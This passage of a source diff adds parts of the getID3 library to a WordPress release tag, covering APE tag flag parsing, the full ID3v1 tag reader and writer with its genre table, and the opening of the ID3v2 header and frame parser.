+		$headerfooterinfo_raw['global_flags'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 20, 4));
+		$headerfooterinfo_raw['reserved']     =                              substr($APEheaderFooterData, 24, 8);
+
+		$headerfooterinfo['tag_version']         = $headerfooterinfo_raw['version'] / 1000;
+		if ($headerfooterinfo['tag_version'] >= 2) {
+			$headerfooterinfo['flags'] = $this->parseAPEtagFlags($headerfooterinfo_raw['global_flags']);
+		}
+		return $headerfooterinfo;
+	}
+
+	public function parseAPEtagFlags($rawflagint) {
+		// "Note: APE Tags 1.0 do not use any of the APE Tag flags.
+		// All are set to zero on creation and ignored on reading."
+		// http://wiki.hydrogenaud.io/index.php?title=Ape_Tags_Flags
+		$flags['header']            = (bool) ($rawflagint & 0x80000000);
+		$flags['footer']            = (bool) ($rawflagint & 0x40000000);
+		$flags['this_is_header']    = (bool) ($rawflagint & 0x20000000);
+		$flags['item_contents_raw'] =        ($rawflagint & 0x00000006) >> 1;
+		$flags['read_only']         = (bool) ($rawflagint & 0x00000001);
+
+		$flags['item_contents']     = $this->APEcontentTypeFlagLookup($flags['item_contents_raw']);
+
+		return $flags;
+	}
+
+	public function APEcontentTypeFlagLookup($contenttypeid) {
+		static $APEcontentTypeFlagLookup = array(
+			0 => 'utf-8',
+			1 => 'binary',
+			2 => 'external',
+			3 => 'reserved'
+		);
+		return (isset($APEcontentTypeFlagLookup[$contenttypeid]) ? $APEcontentTypeFlagLookup[$contenttypeid] : 'invalid');
+	}
+
+	public function APEtagItemIsUTF8Lookup($itemkey) {
+		static $APEtagItemIsUTF8Lookup = array(
+			'title',
+			'subtitle',
+			'artist',
+			'album',
+			'debut album',
+			'publisher',
+			'conductor',
+			'track',
+			'composer',
+			'comment',
+			'copyright',
+			'publicationright',
+			'file',
+			'year',
+			'record date',
+			'record location',
+			'genre',
+			'media',
+			'related',
+			'isrc',
+			'abstract',
+			'language',
+			'bibliography'
+		);
+		return in_array(strtolower($itemkey), $APEtagItemIsUTF8Lookup);
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.tag.id3v1.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.tag.id3v1.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.tag.id3v1.php	(revision 56912)
@@ -0,0 +1,381 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.tag.id3v1.php                                        //
+// module for analyzing ID3v1 tags                             //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_id3v1 extends getid3_handler
+{
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		if (!getid3_lib::intValueSupported($info['filesize'])) {
+			$this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
+			return false;
+		}
+
+		$this->fseek(-256, SEEK_END);
+		$preid3v1 = $this->fread(128);
+		$id3v1tag = $this->fread(128);
+
+		if (substr($id3v1tag, 0, 3) == 'TAG') {
+
+			$info['avdataend'] = $info['filesize'] - 128;
+
+			$ParsedID3v1['title']   = $this->cutfield(substr($id3v1tag,   3, 30));
+			$ParsedID3v1['artist']  = $this->cutfield(substr($id3v1tag,  33, 30));
+			$ParsedID3v1['album']   = $this->cutfield(substr($id3v1tag,  63, 30));
+			$ParsedID3v1['year']    = $this->cutfield(substr($id3v1tag,  93,  4));
+			$ParsedID3v1['comment'] =                 substr($id3v1tag,  97, 30);  // can't remove nulls yet, track detection depends on them
+			$ParsedID3v1['genreid'] =             ord(substr($id3v1tag, 127,  1));
+
+			// If second-last byte of comment field is null and last byte of comment field is non-null
+			// then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number
+			if (($id3v1tag{125} === "\x00") && ($id3v1tag{126} !== "\x00")) {
+				$ParsedID3v1['track']   = ord(substr($ParsedID3v1['comment'], 29,  1));
+				$ParsedID3v1['comment'] =     substr($ParsedID3v1['comment'],  0, 28);
+			}
+			$ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']);
+
+			$ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']);
+			if (!empty($ParsedID3v1['genre'])) {
+				unset($ParsedID3v1['genreid']);
+			}
+			if (isset($ParsedID3v1['genre']) && (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown'))) {
+				unset($ParsedID3v1['genre']);
+			}
+
+			foreach ($ParsedID3v1 as $key => $value) {
+				$ParsedID3v1['comments'][$key][0] = $value;
+			}
+			// ID3v1 encoding detection hack START
+			// ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets
+			// Since ID3v1 has no concept of character sets there is no certain way to know we have the correct non-ISO-8859-1 character set, but we can guess
+			$ID3v1encoding = 'ISO-8859-1';
+			foreach ($ParsedID3v1['comments'] as $tag_key => $valuearray) {
+				foreach ($valuearray as $key => $value) {
+					if (preg_match('#^[\\x00-\\x40\\xA8\\B8\\x80-\\xFF]+$#', $value)) {
+						foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) {
+							if (function_exists('mb_convert_encoding') && @mb_convert_encoding($value, $id3v1_bad_encoding, $id3v1_bad_encoding) === $value) {
+								$ID3v1encoding = $id3v1_bad_encoding;
+								break 3;
+							} elseif (function_exists('iconv') && @iconv($id3v1_bad_encoding, $id3v1_bad_encoding, $value) === $value) {
+								$ID3v1encoding = $id3v1_bad_encoding;
+								break 3;
+							}
+						}
+					}
+				}
+			}
+			// ID3v1 encoding detection hack END
+
+			// ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces
+			$GoodFormatID3v1tag = $this->GenerateID3v1Tag(
+											$ParsedID3v1['title'],
+											$ParsedID3v1['artist'],
+											$ParsedID3v1['album'],
+											$ParsedID3v1['year'],
+											(isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false),
+											$ParsedID3v1['comment'],
+											(!empty($ParsedID3v1['track']) ? $ParsedID3v1['track'] : ''));
+			$ParsedID3v1['padding_valid'] = true;
+			if ($id3v1tag !== $GoodFormatID3v1tag) {
+				$ParsedID3v1['padding_valid'] = false;
+				$this->warning('Some ID3v1 fields do not use NULL characters for padding');
+			}
+
+			$ParsedID3v1['tag_offset_end']   = $info['filesize'];
+			$ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128;
+
+			$info['id3v1'] = $ParsedID3v1;
+			$info['id3v1']['encoding'] = $ID3v1encoding;
+		}
+
+		if (substr($preid3v1, 0, 3) == 'TAG') {
+			// The way iTunes handles tags is, well, brain-damaged.
+			// It completely ignores v1 if ID3v2 is present.
+			// This goes as far as adding a new v1 tag *even if there already is one*
+
+			// A suspected double-ID3v1 tag has been detected, but it could be that
+			// the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag
+			if (substr($preid3v1, 96, 8) == 'APETAGEX') {
+				// an APE tag footer was found before the last ID3v1, assume false "TAG" synch
+			} elseif (substr($preid3v1, 119, 6) == 'LYRICS') {
+				// a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch
+			} else {
+				// APE and Lyrics3 footers not found - assume double ID3v1
+				$this->warning('Duplicate ID3v1 tag detected - this has been known to happen with iTunes');
+				$info['avdataend'] -= 128;
+			}
+		}
+
+		return true;
+	}
+
+	public static function cutfield($str) {
+		return trim(substr($str, 0, strcspn($str, "\x00")));
+	}
+
+	public static function ArrayOfGenres($allowSCMPXextended=false) {
+		static $GenreLookup = array(
+			0    => 'Blues',
+			1    => 'Classic Rock',
+			2    => 'Country',
+			3    => 'Dance',
+			4    => 'Disco',
+			5    => 'Funk',
+			6    => 'Grunge',
+			7    => 'Hip-Hop',
+			8    => 'Jazz',
+			9    => 'Metal',
+			10   => 'New Age',
+			11   => 'Oldies',
+			12   => 'Other',
+			13   => 'Pop',
+			14   => 'R&B',
+			15   => 'Rap',
+			16   => 'Reggae',
+			17   => 'Rock',
+			18   => 'Techno',
+			19   => 'Industrial',
+			20   => 'Alternative',
+			21   => 'Ska',
+			22   => 'Death Metal',
+			23   => 'Pranks',
+			24   => 'Soundtrack',
+			25   => 'Euro-Techno',
+			26   => 'Ambient',
+			27   => 'Trip-Hop',
+			28   => 'Vocal',
+			29   => 'Jazz+Funk',
+			30   => 'Fusion',
+			31   => 'Trance',
+			32   => 'Classical',
+			33   => 'Instrumental',
+			34   => 'Acid',
+			35   => 'House',
+			36   => 'Game',
+			37   => 'Sound Clip',
+			38   => 'Gospel',
+			39   => 'Noise',
+			40   => 'Alt. Rock',
+			41   => 'Bass',
+			42   => 'Soul',
+			43   => 'Punk',
+			44   => 'Space',
+			45   => 'Meditative',
+			46   => 'Instrumental Pop',
+			47   => 'Instrumental Rock',
+			48   => 'Ethnic',
+			49   => 'Gothic',
+			50   => 'Darkwave',
+			51   => 'Techno-Industrial',
+			52   => 'Electronic',
+			53   => 'Pop-Folk',
+			54   => 'Eurodance',
+			55   => 'Dream',
+			56   => 'Southern Rock',
+			57   => 'Comedy',
+			58   => 'Cult',
+			59   => 'Gangsta Rap',
+			60   => 'Top 40',
+			61   => 'Christian Rap',
+			62   => 'Pop/Funk',
+			63   => 'Jungle',
+			64   => 'Native American',
+			65   => 'Cabaret',
+			66   => 'New Wave',
+			67   => 'Psychedelic',
+			68   => 'Rave',
+			69   => 'Showtunes',
+			70   => 'Trailer',
+			71   => 'Lo-Fi',
+			72   => 'Tribal',
+			73   => 'Acid Punk',
+			74   => 'Acid Jazz',
+			75   => 'Polka',
+			76   => 'Retro',
+			77   => 'Musical',
+			78   => 'Rock & Roll',
+			79   => 'Hard Rock',
+			80   => 'Folk',
+			81   => 'Folk/Rock',
+			82   => 'National Folk',
+			83   => 'Swing',
+			84   => 'Fast-Fusion',
+			85   => 'Bebob',
+			86   => 'Latin',
+			87   => 'Revival',
+			88   => 'Celtic',
+			89   => 'Bluegrass',
+			90   => 'Avantgarde',
+			91   => 'Gothic Rock',
+			92   => 'Progressive Rock',
+			93   => 'Psychedelic Rock',
+			94   => 'Symphonic Rock',
+			95   => 'Slow Rock',
+			96   => 'Big Band',
+			97   => 'Chorus',
+			98   => 'Easy Listening',
+			99   => 'Acoustic',
+			100  => 'Humour',
+			101  => 'Speech',
+			102  => 'Chanson',
+			103  => 'Opera',
+			104  => 'Chamber Music',
+			105  => 'Sonata',
+			106  => 'Symphony',
+			107  => 'Booty Bass',
+			108  => 'Primus',
+			109  => 'Porn Groove',
+			110  => 'Satire',
+			111  => 'Slow Jam',
+			112  => 'Club',
+			113  => 'Tango',
+			114  => 'Samba',
+			115  => 'Folklore',
+			116  => 'Ballad',
+			117  => 'Power Ballad',
+			118  => 'Rhythmic Soul',
+			119  => 'Freestyle',
+			120  => 'Duet',
+			121  => 'Punk Rock',
+			122  => 'Drum Solo',
+			123  => 'A Cappella',
+			124  => 'Euro-House',
+			125  => 'Dance Hall',
+			126  => 'Goa',
+			127  => 'Drum & Bass',
+			128  => 'Club-House',
+			129  => 'Hardcore',
+			130  => 'Terror',
+			131  => 'Indie',
+			132  => 'BritPop',
+			133  => 'Negerpunk',
+			134  => 'Polsk Punk',
+			135  => 'Beat',
+			136  => 'Christian Gangsta Rap',
+			137  => 'Heavy Metal',
+			138  => 'Black Metal',
+			139  => 'Crossover',
+			140  => 'Contemporary Christian',
+			141  => 'Christian Rock',
+			142  => 'Merengue',
+			143  => 'Salsa',
+			144  => 'Thrash Metal',
+			145  => 'Anime',
+			146  => 'JPop',
+			147  => 'Synthpop',
+
+			255  => 'Unknown',
+
+			'CR' => 'Cover',
+			'RX' => 'Remix'
+		);
+
+		static $GenreLookupSCMPX = array();
+		if ($allowSCMPXextended && empty($GenreLookupSCMPX)) {
+			$GenreLookupSCMPX = $GenreLookup;
+			// http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
+			// Extended ID3v1 genres invented by SCMPX
+			// Note that 255 "Japanese Anime" conflicts with standard "Unknown"
+			$GenreLookupSCMPX[240] = 'Sacred';
+			$GenreLookupSCMPX[241] = 'Northern Europe';
+			$GenreLookupSCMPX[242] = 'Irish & Scottish';
+			$GenreLookupSCMPX[243] = 'Scotland';
+			$GenreLookupSCMPX[244] = 'Ethnic Europe';
+			$GenreLookupSCMPX[245] = 'Enka';
+			$GenreLookupSCMPX[246] = 'Children\'s Song';
+			$GenreLookupSCMPX[247] = 'Japanese Sky';
+			$GenreLookupSCMPX[248] = 'Japanese Heavy Rock';
+			$GenreLookupSCMPX[249] = 'Japanese Doom Rock';
+			$GenreLookupSCMPX[250] = 'Japanese J-POP';
+			$GenreLookupSCMPX[251] = 'Japanese Seiyu';
+			$GenreLookupSCMPX[252] = 'Japanese Ambient Techno';
+			$GenreLookupSCMPX[253] = 'Japanese Moemoe';
+			$GenreLookupSCMPX[254] = 'Japanese Tokusatsu';
+			//$GenreLookupSCMPX[255] = 'Japanese Anime';
+		}
+
+		return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup);
+	}
+
+	public static function LookupGenreName($genreid, $allowSCMPXextended=true) {
+		switch ($genreid) {
+			case 'RX':
+			case 'CR':
+				break;
+			default:
+				if (!is_numeric($genreid)) {
+					return false;
+				}
+				$genreid = intval($genreid); // to handle 3 or '3' or '03'
+				break;
+		}
+		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
+		return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false);
+	}
+
+	public static function LookupGenreID($genre, $allowSCMPXextended=false) {
+		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
+		$LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre));
+		foreach ($GenreLookup as $key => $value) {
+			if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) {
+				return $key;
+			}
+		}
+		return false;
+	}
+
+	public static function StandardiseID3v1GenreName($OriginalGenre) {
+		if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) {
+			return self::LookupGenreName($GenreID);
+		}
+		return $OriginalGenre;
+	}
+
+	public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') {
+		$ID3v1Tag  = 'TAG';
+		$ID3v1Tag .= str_pad(trim(substr($title,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		$ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		$ID3v1Tag .= str_pad(trim(substr($album,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		$ID3v1Tag .= str_pad(trim(substr($year,   0,  4)),  4, "\x00", STR_PAD_LEFT);
+		if (!empty($track) && ($track > 0) && ($track <= 255)) {
+			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT);
+			$ID3v1Tag .= "\x00";
+			if (gettype($track) == 'string') {
+				$track = (int) $track;
+			}
+			$ID3v1Tag .= chr($track);
+		} else {
+			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		}
+		if (($genreid < 0) || ($genreid > 147)) {
+			$genreid = 255; // 'unknown' genre
+		}
+		switch (gettype($genreid)) {
+			case 'string':
+			case 'integer':
+				$ID3v1Tag .= chr(intval($genreid));
+				break;
+			default:
+				$ID3v1Tag .= chr(255); // 'unknown' genre
+				break;
+		}
+
+		return $ID3v1Tag;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.tag.id3v2.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.tag.id3v2.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.tag.id3v2.php	(revision 56912)
@@ -0,0 +1,3741 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+///                                                            //
+// module.tag.id3v2.php                                        //
+// module for analyzing ID3v2 tags                             //
+// dependencies: module.tag.id3v1.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true);
+
+class getid3_id3v2 extends getid3_handler
+{
+	public $StartingOffset = 0;
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		//    Overall tag structure:
+		//        +-----------------------------+
+		//        |      Header (10 bytes)      |
+		//        +-----------------------------+
+		//        |       Extended Header       |
+		//        | (variable length, OPTIONAL) |
+		//        +-----------------------------+
+		//        |   Frames (variable length)  |
+		//        +-----------------------------+
+		//        |           Padding           |
+		//        | (variable length, OPTIONAL) |
+		//        +-----------------------------+
+		//        | Footer (10 bytes, OPTIONAL) |
+		//        +-----------------------------+
+
+		//    Header
+		//        ID3v2/file identifier      "ID3"
+		//        ID3v2 version              $04 00
+		//        ID3v2 flags                (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x)
+		//        ID3v2 size             4 * %0xxxxxxx
+
+
+		// shortcuts
+		$info['id3v2']['header'] = true;
+		$thisfile_id3v2                  = &$info['id3v2'];
+		$thisfile_id3v2['flags']         =  array();
+		$thisfile_id3v2_flags            = &$thisfile_id3v2['flags'];
+
+
+		$this->fseek($this->StartingOffset);
+		$header = $this->fread(10);
+		if (substr($header, 0, 3) == 'ID3'  &&  strlen($header) == 10) {
+
+			$thisfile_id3v2['majorversion'] = ord($header{3});
+			$thisfile_id3v2['minorversion'] = ord($header{4});
+
+			// shortcut
+			$id3v2_majorversion = &$thisfile_id3v2['majorversion'];
+
+		} else {
+
+			unset($info['id3v2']);
+			return false;
+
+		}
+
+		if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists)
+
+			$this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']);
+			return false;
+
+		}
+
+		$id3_flags = ord($header{5});
+		switch ($id3v2_majorversion) {
+			case 2:
+				// %ab000000 in v2.2
+				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
+				$thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression
+				break;
+
+			case 3:
+				// %abc00000 in v2.3
+				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
+				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
+				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
+				break;
+
+			case 4:
+				// %abcd0000 in v2.4
+				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
+				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
+				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
+				$thisfile_id3v2_flags['isfooter']    = (bool) ($id3_flags & 0x10); // d - Footer present
+				break;
+		}
+
+		$thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
+
+		$thisfile_id3v2['tag_offset_start'] = $this->StartingOffset;
+		$thisfile_id3v2['tag_offset_end']   = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength'];
+
+
+
+		// create 'encoding' key - used by getid3::HandleAllTags()
+		// in ID3v2 every field can have it's own encoding type
+		// so force everything to UTF-8 so it can be handled consistantly
+		$thisfile_id3v2['encoding'] = 'UTF-8';
+
+
+	//    Frames
+
+	//        All ID3v2 frames consists of one frame header followed by one or more
+	//        fields containing the actual information. The header is always 10
+	//        bytes and laid out as follows:
+	//
+	//        Frame ID      $xx xx xx xx  (four characters)
+	//        Size      4 * %0xxxxxxx
+	//        Flags         $xx xx
+
+		$sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header
+		if (!empty($thisfile_id3v2['exthead']['length'])) {
+			$sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4);
+		}
+		if (!empty($thisfile_id3v2_flags['isfooter'])) {
+			$sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio
+		}
+		if ($sizeofframes > 0) {
+
+			$framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable
+
+			//    if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x)
+			if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) {
+				$framedata = $this->DeUnsynchronise($framedata);
+			}
+			//        [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead
+			//        of on tag level, making it easier to skip frames, increasing the streamability
+			//        of the tag. The unsynchronisation flag in the header [S:3.1] indicates that
+			//        there exists an unsynchronised frame, while the new unsynchronisation flag in
+			//        the frame header [S:4.1.2] indicates unsynchronisation.
+
+
+			//$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present)
+			$framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header
+
+
+			//    Extended Header
+			if (!empty($thisfile_id3v2_flags['exthead'])) {
+				$extended_header_offset = 0;
+
+				if ($id3v2_majorversion == 3) {
+
+					// v2.3 definition:
+					//Extended header size  $xx xx xx xx   // 32-bit integer
+					//Extended Flags        $xx xx
+					//     %x0000000 %00000000 // v2.3
+					//     x - CRC data present
+					//Size of padding       $xx xx xx xx
+
+					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0);
+					$extended_header_offset += 4;
+
+					$thisfile_id3v2['exthead']['flag_bytes'] = 2;
+					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
+					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];
+
+					$thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000);
+
+					$thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
+					$extended_header_offset += 4;
+
+					if ($thisfile_id3v2['exthead']['flags']['crc']) {
+						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
+						$extended_header_offset += 4;
+					}
+					$extended_header_offset += $thisfile_id3v2['exthead']['padding_size'];
+
+				} elseif ($id3v2_majorversion == 4) {
+
+					// v2.4 definition:
+					//Extended header size   4 * %0xxxxxxx // 28-bit synchsafe integer
+					//Number of flag bytes       $01
+					//Extended Flags             $xx
+					//     %0bcd0000 // v2.4
+					//     b - Tag is an update
+					//         Flag data length       $00
+					//     c - CRC data present
+					//         Flag data length       $05
+					//         Total frame CRC    5 * %0xxxxxxx
+					//     d - Tag restrictions
+					//         Flag data length       $01
+
+					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true);
+					$extended_header_offset += 4;
+
+					$thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1
+					$extended_header_offset += 1;
+
+					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
+					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];
+
+					$thisfile_id3v2['exthead']['flags']['update']       = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40);
+					$thisfile_id3v2['exthead']['flags']['crc']          = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20);
+					$thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10);
+
+					if ($thisfile_id3v2['exthead']['flags']['update']) {
+						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0
+						$extended_header_offset += 1;
+					}
+
+					if ($thisfile_id3v2['exthead']['flags']['crc']) {
+						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5
+						$extended_header_offset += 1;
+						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false);
+						$extended_header_offset += $ext_header_chunk_length;
+					}
+
+					if ($thisfile_id3v2['exthead']['flags']['restrictions']) {
+						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1
+						$extended_header_offset += 1;
+
+						// %ppqrrstt
+						$restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1));
+						$extended_header_offset += 1;
+						$thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']  = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['textenc']  = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']   = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']  = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions
+
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize']  = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc']  = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc']   = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize']  = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']);
+					}
+
+					if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) {
+						$this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')');
+					}
+				}
+
+				$framedataoffset += $extended_header_offset;
+				$framedata = substr($framedata, $extended_header_offset);
+			} // end extended header
+
+
+			while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse
+				if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) {
+					// insufficient room left in ID3v2 header for actual data - must be padding
+					$thisfile_id3v2['padding']['start']  = $framedataoffset;
+					$thisfile_id3v2['padding']['length'] = strlen($framedata);
+					$thisfile_id3v2['padding']['valid']  = true;
+					for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) {
+						if ($framedata{$i} != "\x00") {
+							$thisfile_id3v2['padding']['valid'] = false;
+							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
+							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
+							break;
+						}
+					}
+					break; // skip rest of ID3v2 header
+				}
+				if ($id3v2_majorversion == 2) {
+					// Frame ID  $xx xx xx (three characters)
+					// Size      $xx xx xx (24-bit integer)
+					// Flags     $xx xx
+
+					$frame_header = substr($framedata, 0, 6); // take next 6 bytes for header
+					$framedata    = substr($framedata, 6);    // and leave the rest in $framedata
+					$frame_name   = substr($frame_header, 0, 3);
+					$frame_size   = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0);
+					$frame_flags  = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs
+
+				} elseif ($id3v2_majorversion > 2) {
+
+					// Frame ID  $xx xx xx xx (four characters)
+					// Size      $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+)
+					// Flags     $xx xx
+
+					$frame_header = substr($framedata, 0, 10); // take next 10 bytes for header
+					$framedata    = substr($framedata, 10);    // and leave the rest in $framedata
+
+					$frame_name = substr($frame_header, 0, 4);
+					if ($id3v2_majorversion == 3) {
+						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
+					} else { // ID3v2.4+
+						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value)
+					}
+
+					if ($frame_size < (strlen($framedata) + 4)) {
+						$nextFrameID = substr($framedata, $frame_size, 4);
+						if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) {
